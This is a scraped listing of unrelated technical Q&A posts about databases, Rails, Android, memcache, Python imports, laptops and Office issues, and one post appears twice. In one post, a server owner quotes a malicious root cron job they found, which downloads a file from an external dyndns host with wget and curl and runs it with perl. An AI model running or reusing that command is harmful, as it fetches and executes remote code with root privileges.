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  • Rails Unit Testing with MyISAM Tables

    - by tadman
    I've got an application that requires the use of MyISAM on a few tables, but the rest are the traditional InnoDB type. The application itself is not concerned with transactions where it applies to these records, but performance is a concern. The Rails testing environment assumes the engine used is transactional, though, so when the test database is generated from the schema.rb it is imported with the same engine. Is it possible to over-ride this behaviour in a simple manner? I've resorted to an awful hack to ensure the tables are the correct type by appending this to test_helper.rb: (ActiveRecord::Base.connection.select_values("SHOW TABLES") - %w[ schema_info ]).each do |table_name| ActiveRecord::Base.connection.execute("ALTER TABLE `#{table_name}` ENGINE=InnoDB") end Is there a better way to make a MyISAM-backed model be testable?

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  • What possible events could cause a MySQL database to revert to a previous state?

    - by justkevin
    A client of mine recently had a strange event with their MySQL database. Several days ago, one database suddenly "went back in time". All the data was in the state it was in several months ago. Even most of the .MYD and .MYI files had timestamps from November. Fortunately, the server is not in production yet, but we need to understand how it happened so it doesn't happen again. I'm not a MySQL guru, but I couldn't think of a scenario that could cause the database to rewind like that short of restoring from a backup. What could have happened here? Where should I look for clues? (Server is FreeBSD 6.4)

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  • Plesk hosting on MediaTemple DV

    - by David
    Hi there, We have a MediaTemple dedicated virtual running Plesk. The problem we're having is that changing the permissions of files on the server to be writable by server owner (apache) is conflicting with the ability to upload and overwrite files via the FTP user. Here's an example, I upload a file from user "serverftp" and they own the new file in the httpdocs folder. I then change the permission of an image upload folder to the apache user to that I can upload images via a PHP script. Uploading or changing that folder with the serverftp user is then locked out. Speaking to tech support didn't get very far because there are some strange group permissions going on and it would involve me adding every single domain FTP user to the pcantl group or something similar. I'm wondering how I can easily change things so that I don't have this problem anymore.

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  • ListView from cursor with checkbox

    - by ekawas
    Hi, I have a Listview that looks like the following: checkbox:textview {0 .. n} I have a OnCheckChangedListener that listens for checkbox changes (checkbox has focusable set to false as recommended by http://www.mousetech.com/blog/?p=74). The behaviour that I am looking for is that users can click the checkbox to set its state, and they can click on the listview item to get a description. Currently, checkbox state is saved properly and if you click on an item, then it shows a description. However, if you first change a state and then click to get the description, the checkbox reverts to a prior state. In fact all checkboxes revert back to a prior state. Anyone know how i can get this working? Thanks.

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  • Problems with merge replication

    - by jess
    Hi, We are developing a multi-user desktop application with users located in different countries. The platform is - .net 3.5, SQL Server 2008, WinForms. Now, my client has used the help of a DBA who has implemented merge replication. To facilitate replication, we made all our primary keys as GUID. Now, we are facing these issues with replication - subscribers expiration sometimes stops replication and we have found no clean way to re-add every change to db schema requires to poll the whole data all over again! This seems to be strange, what could be the problem here? Also, sometimes we have duplicate keys, and that too stops replication I am sure these issues can be resolved. Maybe, we have not gone the right way to implement. Can you suggest how to go about implementing. Or, is the above information enough to diagnose the problem?

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  • What would cause previously sent emails to be sent again from Exchange the first time someone logs i

    - by Ken Pespisa
    A few users testing our Citrix XenApp service found that several (seemingly random) previously sent emails were sent out immediately after they logged into Outlook via Citrix for the first time. The problem hasn't occurred for them since. After one user had this happen, and we scratched our heads about it thinking it was a fluke, our IT director had this same issue. I guess I'd rule out any PEBKAC issues. I really don't know where to begin troubleshooting this problem. If you have any ideas what could have caused this, I'd appreciate you sharing them, as strange or far-fetched as they may seem :)

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  • How do languages handle side effects of compound operators?

    - by Kos
    Hello, Assume such situation: int a = (--t)*(t-2); int b = (t/=a)+t; In C and C++ this is undefined behaviour, as described here: Undefined Behavior and Sequence Points However, how does this situation look in: JavaScript, Java, PHP... C# well, any other language which has compound operators? I'm bugfixing a Javascript - C++ port right now in which this got unnoticed in many places. I'd like to know how other languages generally handle this... Leaving the order undefined is somehow specific to C and C++, isn't it?

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  • Binding UserControl to a NULL DataContext

    - by user634981
    I have a UserControl and am binding its DataContext to an object. I also bind the IsEnabled property of the UserControl to a boolean property of that object eg: <my:MyUserControl DataContext="{Binding Items.SelectedItem}" IsEnabled="{Binding Path=IsEditable}"/> This works fine provided Items.SelectedItem is not null. However, if it is null (which can happen sometimes if the Items collection is empty), the IsEnabled binding does not get evaluated and is set to true, which is not the desired behaviour. I've tried using a MultiBinding but without success because I don't know if it's possible to bind to the DataContext. I've also tried using a DataTrigger, but again without success. Would somebody kindly point me in the right direction as to the correct way I should be doing this. Thanks!

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  • Memcache localhost connection oddity

    - by MatW
    When I try to connect to memcache using this code: $memcache = new Memcache; $memcache->connect('localhost', 11211) or die ("Could not connect"); The call dies with the "Could not connect" error, but if I use localhost's IP: $memcache = new Memcache; $memcache->connect('127.0.0.1', 11211) or die ("Could not connect"); It works! So what's my problem? Well, this new computer is the only development environment I've setup that's been sensitive to that difference. I'm not about to go changing the settings on any code for what seems to be a computer specific issue, but I can't figure out what could be causing this behaviour... Any ideas? I'm running XP, memcached 1.2.4, and wampserver 2. I've checked the hosts file and it does have an entry for localhost.

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  • Harvard vs. Von Neumann architecture

    - by user32569
    Hi. Our teacher told us, that Harvard architecture is the most evolved and produced architecture today and towards future. but I thing becouse os massive averhead of x86 and Von Neumann nased ARM systems that actually Von Neumann is the most used architecture today. Yes, MCUs with Harvard are even more produced, but since they all have just minor purpose (compared to x86 and ARM based) that Von Neumann is actually the one. Or is it really Harvard? And second, I know this is strange question, but does any architecture combining both exists? to have separate memory for data and programs, therefore faster instruction processing, but still able to work with these as Von Neumann? To be able o load amd unload programs to program memory on the fly? Isnt this the way the x86 should have go? Or would there be some bottleneck that pure Von neumann solves? Thanks.

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  • How to avoid having very large objects with Domain Driven Design

    - by Pablojim
    We are following Domain Driven Design for the implementation of a large website. However by putting the behaviour on the domain objects we are ending up with some very large classes. For example on our WebsiteUser object, we have many many methods - e.g. dealing with passwords, order history, refunds, customer segmentation. All of these methods are directly related to the user. Many of these methods delegate internally to other child object but this still results in some very large classes. I'm keen to avoid exposing lots of child objects e.g. user.getOrderHistory().getLatestOrder(). What other strategies can be used to avoid this problems?

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  • Suspect cron job Centos 6.5 + Virtualmin, Recommended course of action?

    - by sr_1436048
    I was doing some routine maintenance on my server and noticed a new cron job. It is set to run every 5 minutes as root: cd /tmp;wget http://eventuallydown.dyndns.biz/abc.txt;curl -O http://eventuallydown.dyndns.biz/abc.txt;perl abc.txt;rm -f abc* I've tried to download the file, but there is nothing to download. The server is running normally and there are no strange signs that the box has been compromised other than this entry. The only thing I can think of is I recently installed Varnish Cache following this tutorial. Given that I did not enter the cron job and that there appears to be nothing wrong, besides disabling that cron job what would be the appropriate course of action from this point?

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  • Start FF with plugins disabled.

    - by justSteve
    Strange problem. Opened FF 3.6.3 after a re-boot and my last opened tabs appeared but none of the page or menu elements would respond to a click. No error messages...just locked up. Started FF with a different profile and it works normally. Next i used FEBE to restore a backup of my working profile and, after the restore, it's doing the same thing - locked out. No newly installed plugins but since a brand new profile works while a restored one doesn't it kinda points to a problematic plug-in. Is there any way to start FF with all plugins disabled? thx

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  • Is ASP.Net Server Control, Postback Architecture failed in current Web 2.0 World.

    - by Lalit
    What i am looking around me is the drastically change in ASP.Net Architecture. More and more company are following the approach of JSON based wcf service in middle tier. Plain HTML based UI tier with JQuery/Ajax. No Postback at all, This contradicts the Default behaviour of Asp.Net Server Control/Code Behind Event handler/Postback. I am a Asp.Net Web Developer for around 4 years, and concerned about the future of ASP.Net. Is the Default Architecture of ASP.Net is Outdated at all? Does MVC or ASP.Net 4.0 Tries to solve the Issue?

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  • Empty track in Windows Media Player 12 that can't be deleted

    - by David Brown
    Right after I installed a fresh copy of Windows 7, I synced with my DropBox account that contains all of my music and added the directory to Windows Media Player 12. I now have a strange track that really isn't a track at all. It's grouped under "Unknown Artist" and has absolutely no text. The only reason I know it's there is because it highlights on mouse-over. Double-clicking on it does nothing. When the song before it ends, Windows Media Player stops playing altogether until I choose a different song (it should continue to play the next song on its own). When I try to delete this mysterious track, nothing happens. I've cleared my library and re-imported everything, but this empty track keeps appearing. I have also checked my Music directory and there is no empty MP3. What is going on here?

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  • How to do relative imports in Python?

    - by Joril
    Imagine this directory structure: app/ __init__.py sub1/ __init__.py mod1.py sub2/ __init__.py mod2.py I'm coding mod1, and I need to import something from mod2. How should I do it? I tried from ..sub2 import mod2 but I'm getting an "Attempted relative import in non-package". I googled around but found only "sys.path manipulation" hacks. Isn't there a clean way? Edit: all my __init__.py's are currently empty Edit2: I'm trying to do this because sub2 contains classes that are shared across sub packages (sub1, subX, etc.). Edit3: The behaviour I'm looking for is the same as described in PEP 366 (thanks John B)

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  • conditional formatting in excel 2010

    - by bigMir
    I have some strange problem, after I've made switch from excel 2007 to excel 2010 I've started to receive duplicates of conditional formatting rules in excel. For example: I have conditional formatting which colors the cell when it detects that cell contains a word "hello". When I copy this cell to other cells (which also contains the same rule) sometimes I receive duplicates. Those duplicates really slows down excel. So my question is: is there any possiblity to disable copy/paste of conditional formatting (I want to copy/paste all content excep conditional formatting, all formulas values and other stuff). P.S. Just to make it clear, I don't know how to reporduce that problem, it occurs sometimes and I work with excel a lot

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  • Laptop hot after format

    - by Dany Khalife
    I recently formatted an HP G62 Laptop and installed all drivers from the HP site that should be installed for this model. But i noticed a very strange behavior, using Coretemp, the temp is always above 50 (on idle) and reaches 70 very quickly sometimes (Critical is 90) If i open youtube or skype alone, i can get temperatures as high as 83. Normally it was around 32 (on idle) and reaches 70 when i open games but not youtube.... I have a i3 processor and AMD graphics so i am wondering if somehow it's a graphics card issue (since i3 has integrated graphics as far as i know) Device manager shows only AMD graphics card tho, not sure if i3 graphics should appear here too. Any ideas what i might have forgotten to do after the format ?

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  • Laptop hot after format

    - by Dany Khalife
    I recently formatted an HP G62 Laptop and installed all drivers from the HP site that should be installed for this model. But i noticed a very strange behavior, using Coretemp, the temp is always above 50 (on idle) and reaches 70 very quickly sometimes (Critical is 90) If i open youtube or skype alone, i can get temperatures as high as 83. Normally it was around 32 (on idle) and reaches 70 when i open games but not youtube.... I have a i3 processor and AMD graphics so i am wondering if somehow it's a graphics card issue (since i3 has integrated graphics as far as i know) Device manager shows only AMD graphics card tho, not sure if i3 graphics should appear here too. Any ideas what i might have forgotten to do after the format ?

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  • qemu/virt-manager no permisson on shared folder

    - by TomAtToe
    I have a strange problem. Iam trying to create a shared folder via the add-hardware-filesystem option. For Type and Modus i choose Passtrought and for Driver Path. The Source Path is /free and target is mytag. I mount it with: mount -t 9p -o trans=virtio mytag /mnt/test -oversion=9p2000.L Everything worked without problems. But when i enter /mnt/test and do a ls, i get "ls: Öffnen von Verzeichnis . nicht möglich: Keine Berechtigung" in english something like "ls: cant open folder . no permission" I set permissions of /free to 777 recursivly but nothing changed. Also tried some other modes in virt-manager but nothing changes. Do you have any clues, what i am doing wrong? The guest-os ist Ubuntu 12.04 and the host-os is Ubuntu 11.10 Thank you for your help.

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  • My computer resets when i try to install Windows 7 (USB/DVD)

    - by Ranhiru
    I had a troublesome software starting up when Windows 7 was starting and i had no way to remove it because i couldn't log in to Windows. Not even safe mode. But i used Hiren's Boot CD to edit the registry to stop that software from starting up... But my efforts were not useful as Windows kept on going to an ultimate freeze just before the login screen should have been shown. And just freezes and I cannot do anything. So i decided heck with it and i now want to format the disk and reinstall a fresh copy of Windows 7. But now regardless of USB or DVD i use to boot the setup, it loads fine till you see the animating Windows and it just resets the laptop! Just plain resets! Hiren's Boot CD and Mini XP, strange enough but still works :( Any ideas what might be causing the laptop to reset in Windows 7 setup?

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  • What's up with IE7's Ctrl-Tab order?

    - by torbengb
    I'm using WinXP + IE7.x at work, and no chance of anything else. From any other Windows application, and Firefox, and whatnot, I'm used to the Ctrl+Tab combination. But IE 7 is really strange... Ctrl+Tab seems to follow no clear sequence, and Shift+Ctrl+Tab doesn't even work, or rather, does the exact same thing, not reverse as expected. Can anyone please explain to me how this key combo works in IE7, because I can't figure it out. Thanks!

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  • EntityManager and two DAO with PersistenceContextType.EXTENDED

    - by hsd
    Hi All, I have a problem with my entity manager in my application. I have two DAO clasess like this: @Repository public abstract class DaoA { protected ClassA persistentClass; @PersistenceContext(name="my.persistence", type=PersistenceContextType.EXTENDED) protected EntityManager entityManager; -------------- some typical action for DAO -------------- } Second DAO is for ClassB and looks similar to DaoA. The rest of things are done for me by the Spring framework. When I'm debugging the application I recognize that both DAO objects have different instances of EntityManager. In the result my two different DAOs are connected with different PersistenceContext. Question is if this is correct behaviour or not? I would like to have the same PersistenceContext for all my DAO classes. Please give me a hint if this is possible and if I understood the JPA correctly? Regards Hsd

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  • An update question !

    - by rantravee
    Hi , Here's the problem I'm facing : trying to do my own application update I download the update apk from a web server on the sd card and then I launch the Package Installer with the downloading path ( while the old application is running) . So far after the package installer starts and the user agrees to install the application I get the following message " MyApp Could not be installed on this phone" and in the logcat then following message is printed : "No package identifier when getting value for resource number 0x00000000" . I could not find a reason for this behaviour , so please if there is something that I'm missing do point it to me !

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  • Getting spurious undo (ctrl-z) sent randomly on a Dell Laptop

    - by squelart
    For the past couple of weeks, my laptop has had a strange problem where it looks like ctrl-z is pressed, so I usually lose bits of text I just typed. If I press ctrl-shit-z (redo), the text comes back, proving it's really as if ctrl-z was pressed. It's difficult to see a pattern, I can be undo-free for hours, then get a few within minutes, sometimes 2-3 undoes at a time. Very frustrating! Running WinXP+SP3 on Dell Latitude D820, Clamwin antivirus. I've tried another keyboard, no difference. Any clue on what this could be, or how I could trace this problem? 2009-09-25: Tried a few things that were listed or linked to on this page: http://www.selfishman.net/2008/06/24/problem-with-dell-inspiron-1501-keypress-every-second/ but nothing helped. Though it seems to point at a Dell laptop issue. I upgraded the BIOS and other drivers, but still got the problem.

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